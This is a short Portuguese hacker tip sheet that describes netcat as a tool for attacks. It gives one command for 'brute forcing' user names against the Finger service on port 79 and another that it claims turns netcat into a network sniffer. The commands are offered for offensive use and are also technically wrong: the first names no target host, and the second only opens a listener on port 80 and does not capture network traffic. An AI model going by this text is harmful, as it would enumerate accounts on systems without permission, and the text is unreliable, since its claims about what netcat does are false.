O canivete suíço do TCP/IP tem muitas funções interessante uma delas é o brute force um exemplo: nc -vv 79 < c:\usuarios.txt > c:\log.txt note que você precisara de um arquivos com nome de usuários em c: e todo log será gravado em c:\log.txt para que você possa analisar depois. esse força bruta foi feita em cima da porta 79 FINGER mais poderia ser facilmente adaptada a outras portas.

Fazendo um sniffer com o netcat:
O fantástico netcat também pode servir como um sniffer e captura todo trafego em uma rede basta colocar nc -vv -L 127.0.0.1 -p 80 note que o L deve ser maiúsculo pois, esta opção reabre socketes fechados, isso fará com que o netcat capture todo trafego na porta 80 acho que nem é mais necessário dizer que podemos também gravar toda saída em um arquivo TXT, mais bem pra você que ainda não sacou a jogada ai vai nc -vv -L 127.0.0.1 -p 80 > c:\sniffer.txt

Autor: Diablos 4-Ever

Fonte: Desconhecida